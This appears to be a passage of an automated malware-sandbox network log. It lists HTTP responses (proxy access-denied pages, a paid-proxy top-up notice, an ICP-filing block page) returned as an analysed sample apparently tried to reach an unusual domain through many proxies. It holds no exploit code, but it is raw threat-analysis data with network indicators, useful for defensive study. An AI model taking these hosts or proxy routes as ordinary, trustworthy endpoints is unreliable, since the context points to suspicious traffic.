Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 15:39:48 GMTContent-Length: 127Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 6f 6e 20 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 72 65 61 64 20 75 64 70 20 31 30 2e 36 34 2e 32 33 38 2e 32 31 36 3a 35 34 30 32 36 2d 3e 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 69 2f 6f 20 74 69 6d 65 6f 75 74 0a Data Ascii: dial tcp: lookup heygirlisheeverythingyouwantedinaman.com on 1.1.1.1:53: read udp 10.64.238.216:54026->1.1.1.1:53: i/o timeout
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:39:49 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:39:49 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:39:50 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:39:50 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:39:51 GMTContent-Type: text/html;charset=utf-8Content-Length: 3703X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:39:51 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:39:51 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:39:51 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:39:51 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 36 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314086"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:39:51 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 36 31 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313861"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 36 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314086"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
